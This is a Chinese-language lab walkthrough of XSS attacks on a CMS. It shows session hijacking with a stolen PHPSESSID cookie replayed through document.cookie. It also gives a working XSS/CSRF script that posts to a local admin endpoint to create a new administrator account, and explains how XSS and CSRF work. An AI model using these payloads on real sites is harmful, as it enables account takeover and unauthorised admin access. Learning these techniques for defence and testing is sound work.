1.固定会话
使用xsspt来生成语句,并将其插入到可能存在XSS漏洞的地方
登录后台查看,
cookie已经拿到
利用获得的cookie登录
document.cookie = 'username=admin'; |
document.cookie = 'userid=1'; |
document.cookie = 'PHPSESSID=qq5cdcqqiucfpde740eoghf1p3'; |
对url进行修改,即可访问网站后台
XSS主要使用JavaSript 来完成恶意攻击的行为,JS 可以非常灵活的操纵HTML/CSS/浏览器,这就使得XSS 攻击“想象”空间非常大。 |
XSS 通过将精心构造的代码(JavaScript)注入到网页中,并由浏览器解释运行这段JS 代码,以达到恶意攻击的效果。当用户访问被XSS 脚本注入过的网页,XSS 脚本就会被提取出来,用户浏览器就会解析执行这段代码,也就是说用户被攻击了。 |
单从上面的图中可以看出,实现一个XSS攻击至少需要三个角色,服务器端、客服端用户、hacker。 |
Hacker对Web Sever提供的服务查找XSS注入点,对其注入点注入恶意代码,如注入的存储型XSS,则回存储在数据内,等待用户触发事件执行。 用户访问被注入XSS攻击的网页,则回自动执行之前Hacker注入在服务器中的XSS漏洞指令,而执行的XSS指令,则会对用的cookie、资料等重要信息进行非法获取,甚至冒充用户身份登录网站, |
而XSS来带危害很多,包括但不限于(
- 盗取各种用户账号
- 窃取用户Cookie 资料,冒充用户身份进入网站
) |
搜索框、登录框、微博、留言板、聊天室等等收集用户输入的地方,都有可能被注入XSS 代码,都存在遭受XSS 的风险,只要用户的输入没有做严格的过滤,就会被XSS 。 |
2.CSRF与XSS漏洞结合,创建网站后台管理员账号
首先确认网站后台内没有用户
<script>
xmlhttp = new XMLHttpRequest();
xmlhttp.open("post","http://192.168.40.137/cms/admin/user.action.php",false);
xmlhttp.setRequestHeader("Content-type","application/x-www-form-urlencoded");
xmlhttp.send("act=add&username=Feng&password=root&password2=root&button=%E6%B7%BB%E5%8A%A0%E7%94%A8%E6%88%B7&userid=0");
</script>
Xmlhttp是一种浏览器对象, 可用于模拟http的GET和POST请求 |
打开,一个post传参,接一个url(此为cms的后台登录界面),false为同步,默认为true(异步) |
setRequestHeader方法只是XMLHTTP为添加或修改HTTP头提供的一个接口方法而已, 至于里面的值则是HTTP协议的含义。 |
XMLHttpRequest.send() 方法用于实际发出 HTTP 请求。 |
XSS与CSRF结合完成。
CSRF(Cross-site request forgery),中文名称:跨站请求伪造 |
用户浏览并登录网站A,而网站A则在浏览器生成A的身份凭证Cookie,用户在没有退出A站的情况下,访问B危险网站,则载入恶意代码,向A站发送请求,用户的浏览器则根据B危险网站的代码,期待产生的Cookie的凭证访问A,A不知道本次的请求是用户发出是还是B发出的,但由于是携带用户的Cookie,则A站则根据用户的权限来对请求进行处理。这样B就完成一次CSRF的攻击。 |